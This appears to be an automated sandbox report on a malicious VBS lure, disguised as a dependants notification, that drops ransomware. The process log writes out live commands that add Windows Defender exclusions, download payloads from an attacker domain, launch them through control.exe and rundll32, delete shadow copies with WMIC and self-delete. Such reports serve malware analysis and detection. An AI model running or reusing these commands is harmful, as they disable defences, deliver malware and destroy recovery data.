Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "$env:tmp"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell Invoke-WebRequest -Uri https://kiltone.top/stelin/Gosjeufon.cpl -Outfile $env:tmp\eryy65ty.exe

Source: C:\Windows\System32\svchost.exe

Process Stats: CPU usage > 49%

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Temp\eryy65ty.exe A20BDB925E1F673B30DA71C943E9DD460EE68E23B44FE00C8A1B09609804F105
Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Temp\fjeljies.cpl 4B4A87552C44158FB53A72C7294319B0DDDE9F99F460425AD5997D3B9121CD1E

Source: NOTIFICATION_OF_DEPENDANTS_1.vbs

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.phis.troj.spyw.expl.evad.winVBS@98/844@5/6

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Users\user\Downloads\203bc979-cd5e-4f09-aae9-7003f9ad3c6e.tmp

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6040:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8564:120:WilError_03
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5336:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5592:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3132:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5192:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8740:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8172:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8732:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1412:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:9132:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6932:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:9140:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6988:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6900:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1624:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_dd4cmrln.ljv.ps1

Jump to behavior

Source: unknown

Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\NOTIFICATION_OF_DEPENDANTS_1.vbs"

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT Family,VirtualizationFirmwareEnabled FROM Win32_Processor

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Windows\System32\control.exe

Process created: C:\Windows\System32\rundll32.exe "C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL C:\Users\user~1\AppData\Local\Temp/fjeljies.cpl

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\NOTIFICATION_OF_DEPENDANTS_1.vbs"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Add-MpPreference -ExclusionPath 'C:\Users\user~1\AppData\Local\Temp'
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell start-process https://www.oldmutual.co.za/v3/assets/blt0554f48052bb4620/blt8b52803ba23b252a/66742ed3b2cbc14f42b4434c/Superfund_Beneficiary_Nomination_form.pdf
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell start-process https://www.oldmutual.co.za/v3/assets/blt0554f48052bb4620/blt8b52803ba23b252a/66742ed3b2cbc14f42b4434c/Superfund_Beneficiary_Nomination_form.pdf
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://www.oldmutual.co.za/v3/assets/blt0554f48052bb4620/blt8b52803ba23b252a/66742ed3b2cbc14f42b4434c/Superfund_Beneficiary_Nomination_form.pdf
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell Invoke-WebRequest -Uri https://kiltone.top/stelin/rwcla.cpl -Outfile $env:tmp\\fjeljies.cpl
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Invoke-WebRequest -Uri https://kiltone.top/stelin/rwcla.cpl -Outfile $env:tmp\\fjeljies.cpl
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2072 --field-trial-handle=2000,i,4385509434330054281,2454780159223617298,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c control C:\Users\user~1\AppData\Local\Temp/fjeljies.cpl
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\control.exe control C:\Users\user~1\AppData\Local\Temp/fjeljies.cpl
Source: C:\Windows\System32\control.exe	Process created: C:\Windows\System32\rundll32.exe "C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL C:\Users\user~1\AppData\Local\Temp/fjeljies.cpl
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\rundll32.exe" "C:\Windows\SysWOW64\shell32.dll",#44 C:\Users\user~1\AppData\Local\Temp/fjeljies.cpl
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "$env:tmp"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "$env:tmp"
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c powershell Invoke-WebRequest -Uri https://kiltone.top/stelin/Gosjeufon.cpl -Outfile $env:tmp\eryy65ty.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell Invoke-WebRequest -Uri https://kiltone.top/stelin/Gosjeufon.cpl -Outfile $env:tmp\eryy65ty.exe
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c %temp%/eryy65ty.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\eryy65ty.exe C:\Users\user~1\AppData\Local\Temp/eryy65ty.exe
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	Process created: C:\Windows\System32\wbem\WMIC.exe c:\jExFKd\jExF\..\..\Windows\jExF\jExF\..\..\system32\jExF\jExF\..\..\wbem\jExF\jExFK\..\..\wmic.exe shadowcopy delete
Source: C:\Windows\System32\wbem\WMIC.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\eryy65ty.exe "C:\Users\user~1\AppData\Local\Temp\eryy65ty.exe"
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	Process created: C:\Windows\System32\wbem\WMIC.exe c:\qYxiJv\qYxi\..\..\Windows\qYxi\qYxi\..\..\system32\qYxi\qYxi\..\..\wbem\qYxi\qYxiJ\..\..\wmic.exe shadowcopy delete
Source: C:\Windows\System32\wbem\WMIC.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\eryy65ty.exe "C:\Users\user~1\AppData\Local\Temp\eryy65ty.exe"
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	Process created: C:\Windows\System32\wbem\WMIC.exe c:\DgeFGH\DgeF\..\..\Windows\DgeF\DgeF\..\..\system32\DgeF\DgeF\..\..\wbem\DgeF\DgeFG\..\..\wmic.exe shadowcopy delete
Source: C:\Windows\System32\wbem\WMIC.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	Process created: C:\Windows\System32\wbem\WMIC.exe c:\xMvAnp\xMvA\..\..\Windows\xMvA\xMvA\..\..\system32\xMvA\xMvA\..\..\wbem\xMvA\xMvAn\..\..\wmic.exe shadowcopy delete
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "C:\Users\user~1\AppData\Local\Temp\eryy65ty.exe"
Source: C:\Windows\System32\wbem\WMIC.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 1.1.1.1 -n 1 -w 3000
Source: unknown	Process created: C:\Windows\System32\notepad.exe "C:\Windows\system32\NOTEPAD.EXE" C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	Process created: C:\Windows\System32\wbem\WMIC.exe c:\mCMXKV\mCMX\..\..\Windows\mCMX\mCMX\..\..\system32\mCMX\mCMX\..\..\wbem\mCMX\mCMXK\..\..\wmic.exe shadowcopy delete
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "C:\Users\user~1\AppData\Local\Temp\eryy65ty.exe"
Source: C:\Windows\System32\wbem\WMIC.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 1.1.1.1 -n 1 -w 3000
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	Process created: C:\Windows\System32\wbem\WMIC.exe c:\mZDBzN\mZDB\..\..\Windows\mZDB\mZDB\..\..\system32\mZDB\mZDB\..\..\wbem\mZDB\mZDBz\..\..\wmic.exe shadowcopy delete
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "C:\Users\user~1\AppData\Local\Temp\eryy65ty.exe"
Source: C:\Windows\System32\wbem\WMIC.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 1.1.1.1 -n 1 -w 3000
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Add-MpPreference -ExclusionPath 'C:\Users\user~1\AppData\Local\Temp'	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell start-process https://www.oldmutual.co.za/v3/assets/blt0554f48052bb4620/blt8b52803ba23b252a/66742ed3b2cbc14f42b4434c/Superfund_Beneficiary_Nomination_form.pdf	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell Invoke-WebRequest -Uri https://kiltone.top/stelin/rwcla.cpl -Outfile $env:tmp\\fjeljies.cpl	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c control C:\Users\user~1\AppData\Local\Temp/fjeljies.cpl	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell start-process https://www.oldmutual.co.za/v3/assets/blt0554f48052bb4620/blt8b52803ba23b252a/66742ed3b2cbc14f42b4434c/Superfund_Beneficiary_Nomination_form.pdf	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://www.oldmutual.co.za/v3/assets/blt0554f48052bb4620/blt8b52803ba23b252a/66742ed3b2cbc14f42b4434c/Superfund_Beneficiary_Nomination_form.pdf	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2072 --field-trial-handle=2000,i,4385509434330054281,2454780159223617298,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "$env:tmp"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Invoke-WebRequest -Uri https://kiltone.top/stelin/rwcla.cpl -Outfile $env:tmp\\fjeljies.cpl	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\control.exe control C:\Users\user~1\AppData\Local\Temp/fjeljies.cpl	Jump to behavior
Source: C:\Windows\System32\control.exe	Process created: C:\Windows\System32\rundll32.exe "C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL C:\Users\user~1\AppData\Local\Temp/fjeljies.cpl	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\rundll32.exe" "C:\Windows\SysWOW64\shell32.dll",#44 C:\Users\user~1\AppData\Local\Temp/fjeljies.cpl	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "$env:tmp"
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c powershell Invoke-WebRequest -Uri https://kiltone.top/stelin/Gosjeufon.cpl -Outfile $env:tmp\eryy65ty.exe
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c %temp%/eryy65ty.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "$env:tmp"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell Invoke-WebRequest -Uri https://kiltone.top/stelin/Gosjeufon.cpl -Outfile $env:tmp\eryy65ty.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\eryy65ty.exe C:\Users\user~1\AppData\Local\Temp/eryy65ty.exe
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	Process created: C:\Windows\System32\wbem\WMIC.exe c:\jExFKd\jExF\..\..\Windows\jExF\jExF\..\..\system32\jExF\jExF\..\..\wbem\jExF\jExFK\..\..\wmic.exe shadowcopy delete
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	Process created: C:\Windows\System32\wbem\WMIC.exe c:\xMvAnp\xMvA\..\..\Windows\xMvA\xMvA\..\..\system32\xMvA\xMvA\..\..\wbem\xMvA\xMvAn\..\..\wmic.exe shadowcopy delete
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "C:\Users\user~1\AppData\Local\Temp\eryy65ty.exe"
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	Process created: C:\Windows\System32\wbem\WMIC.exe c:\qYxiJv\qYxi\..\..\Windows\qYxi\qYxi\..\..\system32\qYxi\qYxi\..\..\wbem\qYxi\qYxiJ\..\..\wmic.exe shadowcopy delete
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	Process created: C:\Windows\System32\wbem\WMIC.exe c:\mCMXKV\mCMX\..\..\Windows\mCMX\mCMX\..\..\system32\mCMX\mCMX\..\..\wbem\mCMX\mCMXK\..\..\wmic.exe shadowcopy delete
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "C:\Users\user~1\AppData\Local\Temp\eryy65ty.exe"
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	Process created: C:\Windows\System32\wbem\WMIC.exe c:\DgeFGH\DgeF\..\..\Windows\DgeF\DgeF\..\..\system32\DgeF\DgeF\..\..\wbem\DgeF\DgeFG\..\..\wmic.exe shadowcopy delete
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	Process created: C:\Windows\System32\wbem\WMIC.exe c:\mZDBzN\mZDB\..\..\Windows\mZDB\mZDB\..\..\system32\mZDB\mZDB\..\..\wbem\mZDB\mZDBz\..\..\wmic.exe shadowcopy delete
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "C:\Users\user~1\AppData\Local\Temp\eryy65ty.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 1.1.1.1 -n 1 -w 3000
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 1.1.1.1 -n 1 -w 3000
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 1.1.1.1 -n 1 -w 3000

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
